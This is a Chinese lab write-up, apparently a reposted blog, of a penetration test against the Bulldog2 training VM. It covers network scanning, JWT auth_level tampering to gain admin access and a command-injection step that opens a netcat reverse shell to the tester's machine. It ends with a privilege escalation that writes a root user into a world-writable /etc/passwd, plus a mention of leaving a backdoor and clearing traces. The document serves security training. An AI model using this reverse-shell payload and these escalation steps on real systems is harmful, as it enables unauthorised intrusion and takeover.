靶机渗透测试实战(四)——Bulldog2渗透实战

目录

 

一. 实验环境

二. 实验流程

三. 实验步骤

(1)信息收集——主机发现

(2)信息收集——端口扫描

(3)信息收集——操作系统扫描

(4)渗透测试

四. 实验总结


一. 实验环境

  • 靶机:Bulldog2   IP地址暂时未知;
  • 测试机:kali  IP地址:192.168.37.131
  • 测试机:物理机win7

二. 实验流程

  • 信息收集——主机发现
  • 信息收集——端口扫描
  • 信息收集——操作系统扫描
  • 渗透测试

三. 实验步骤

(1)信息收集——主机发现

1. 查看Kali的IP信息;(IP:192.168.37.131)

扫描二维码关注公众号,回复: 6188592 查看本文章

2. 查看靶机页面

3. 扫描主机(netdiscover)

netdiscover -i eth0 -r 192.168.37.0/24

Netdiscover: -i 指定网卡 -r 指定网段

  • 找到目标主机IP:192.168.37.142
  • 也可以使用nmap进行主机发现,在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

(2)信息收集——端口扫描

1. 扫描端口(masscan)

masscan --rate=10000 --ports 0-65535 192.168.37.139

masscan --rate=每秒多少个数据包 --ports 端口范围  IP地址/IP地址段

Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次;

2. 扫描端口的详细信息(nmap)

nmap -sV -T4 -p 23,80,8080 192.168.37.142

  • 其中:-T4指定扫描过程中使用的时序(分为0-5等级);
  • -sV扫描版本的信息和开启的服务;
  • 也可以选择带-A参数,详细扫描开放端口的具体服务;
  • 与masscan相比,namp更详细,但是速度较慢(可以通过masscan快速扫描开放的端口,再使用nmap扫描具体开放的端口);
  • 可以发现192.168.37.142主机只开启了80(http服务)端口;

(3)信息收集——操作系统扫描

1. 扫描操作系统的信息(nmap)

nmap -O 192.168.37.142

(4)渗透测试

网站版本

searchsploit nginx

在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可用利用版本的漏洞进行渗透;

80端口(http服务)

1. 发现目标主机只开放了80端口,尝试进行访问;

1.1> 访问80端口;

1.2> 查看页面可以点击的内容;

点击users;

点击Sigh Up;

可以知道该网站目前不接受注册;

2. 网站目录扫描(dirb)

扫描Web目录,可以发现潜在的渗透目标;

3. 查看扫描到的目录

http://192.168.37.142/assets

http://192.168.37.142/favicon.ico

  • 根据扫描到的目录,没有发现什么可用的信息,继续探索;
  • 一般情况下,如果没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;

4. 查看前端页面的代码

4.1> 查看前端代码,发现首页调用了四个js文件,我们可以分别进行访问;

4.2> 将4个js文件下载到本地,进行美化(不美化不容易查看),然后逐一进行审查,

4.3> 我们查看页面的时候,发现页面上角有个注册功能,但是不能进行注册;(猜测:如果可以注册成功的话,就可以进行登录)

4.4> 尝试在美化后的js文件中使用Register关键字进行搜索;

可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册;

5. 使用Burpsuite抓包进行注册账号;

5.1> 抓取向服务器提交的数据包;

5.2> 导入repeater,并修改包中的内容,;

5.3> 尝试用注册好的账户进行登录;

  • 我们可以看到已经成功登录,但是没有可用的信息;并且登录的用户名直接显示在链接上;
  • 猜测:注册的其他用户是否也是相同的页面,如果不是,则可以考虑水平越权;
  • 也可能是因为注册的用户是个普通用户,管理员账户是否可以进行其他操作呢,考虑垂直越权;

5.4> 使用同样的方式在注册两个账户admin,123;尝试进行登录;

登录admin,密码admin;

登录123,密码123;

我们可以发现,登录账户的用户名都会在链接中显示,是否直接将链接中的用户名更改后(不需要密码)就可以直接登录到另外的账户;

5.5> 尝试水平越权;

只要知道用户名,就可以直接登录到对方账户;但是这几个账户都没有什么可以利用的信息;

6. 再次登录,通过Burpsuite抓包查看服务器回包的信息;

  • 返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;
  • JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;

7. 查看token信息;

7.1> 搜索jwt解密,就可以得到如下的网址,也就是jwt解密的网址;

7.2> 将brupsuite中抓到的token中的信息进行破解;

可以看到有个auth_level的参数,通过名字可以看出是关于用户权限的,我们可以使用这个参数去在js文件中进行搜索;

7.3> 搜索js页面;

7.4> 将回包中的standard_user替换成master_admin_user;将回包中的编码替换;

7.5> 抓取服务器的回包并修改参数;

退出账号并重新登录,抓包——>Do intercept——>response to this request;

然后forward,获取如下页面,复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,然后一直forward;

此时,登录上去的账号为admin;

8. 修改密码处存在命令执行漏洞,获取shell;

8.1> 抓包;

8.2> 密码不正确,但是服务器返回的状态码依然是200;

可以发现页面返回的状态码是200,但是最后一行显示的是false;

8.3> 直接在修改密码处执行漏洞拿反弹shell;

此处的反弹shell为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;

成功获取到shell后,就需要进行提权操作;

9. 提权

9.1> 查看passwd文件的权限;可以看到权限为777;

9.2> 添加一个新的具有root权限的账户;

输入命令:perl -le ‘print crypt(“pass”, “aa”)’

其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

9.3> 将新创建的用户写到passwd文件中;

只需要修改3处:一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样

9.4> 切换到root权限的yxz用户;提权成功;

su yxz ,密码为pass;

10. 留后门,清痕迹;

四. 实验总结

  1. 一般情况下,如果网站没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;
  2. 如果一个页面输入的用户名或密码错误,但是返回的状态码依然是200的话,就可以尝试进行命令执行漏洞,获取shell;
  3. 如果普通用户权限对/etc/passwd文件有写权限,我们就可以提权时创建一个新用户(perl -le 'print crypt("pass","aa")'),将其以root用户的格式写入/etc/passwd文件中,然后su 创建的用户  就可以提权成功;

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/90051366
今日推荐